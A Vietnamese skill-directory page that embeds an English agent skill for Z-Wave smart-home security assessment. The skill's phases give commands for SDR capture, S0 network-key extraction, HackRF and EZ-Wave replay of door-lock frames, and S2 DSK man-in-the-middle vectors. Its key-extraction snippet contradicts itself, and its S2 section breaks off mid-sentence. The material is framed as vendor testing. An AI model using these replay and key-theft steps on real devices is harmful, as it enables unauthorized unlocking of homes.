z-wave
Skill này làm gì
Hướng dẫn này nói về kiểm tra bảo mật cho thiết bị nhà thông minh Z-Wave, như khóa và cảm biến. Dành cho nhà sản xuất và người kiểm thử muốn kiểm tra cách các mạng này bảo vệ khóa của chúng.
Khi nào nên dùng
- ✓Khi một sản phẩm nhà thông minh dùng Z-Wave và cần kiểm tra lớp bảo mật của nó.
- ✓Khi một nhóm muốn xem liệu thiết bị có chấp nhận lệnh không xác thực không.
- ✓Khi quy trình ghép nối của sản phẩm có thể bị tấn công trung gian.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi sản xuất khóa thông minh Z-Wave. Bạn có thể kiểm tra xem trao đổi khóa và các biện pháp bảo vệ ghép nối của nó có vững chắc không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent rà soát lớp bảo mật dùng trong quá trình đưa thiết bị vào mạng, kiểm tra trao đổi khóa có được bảo vệ không, rồi báo cáo những chỗ ghép nối có thể bị chặn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Z-Wave S0/S2 Security Assessment
Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.
Prerequisites
- Hardware:
- RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
- HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
- OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
- Software:
gr-zwave(GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.
Z-Wave Frequency Reference
| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
Phase 1: Passive Capture with RTL-SDR + gr-zwave
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.
Phase 2: S0 Key Extraction During Inclusion
S0 inclusion sequence:
- Controller sends
NETWORK_KEY_SETwith the 16-byte network key XOR'd with the Z-Wave default key0x00×16. - Node acknowledges with
NETWORK_KEY_VERIFY.
Since the default key is all-zeros, the XOR is trivially reversible:
DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
# Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.
# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.
Use Scapy Z-Wave layer to parse frames from pcap:
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)
Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
With HackRF + GNU Radio for raw OOK replay:
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
Phase 4: S2 DSK MITM Analysis
S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:
MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.
Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under
Câu hỏi thường gặp
Điểm yếu cũ chính là gì?
Hướng dẫn cho biết lớp bảo mật S0 gửi khóa mạng dưới dạng văn bản rõ trong quá trình thiết lập.
S2 là gì?
Đó là lớp bảo mật mới hơn dùng trao đổi khóa mạnh hơn, theo hướng dẫn.
Khóa riêng của thiết bị là gì?
Đó là khóa dùng để xác nhận thiết bị trong quá trình thiết lập S2, và phải được kiểm tra ngoài băng tần.
Chi tiết
Mô tả gốc của tác giả
Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14104
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.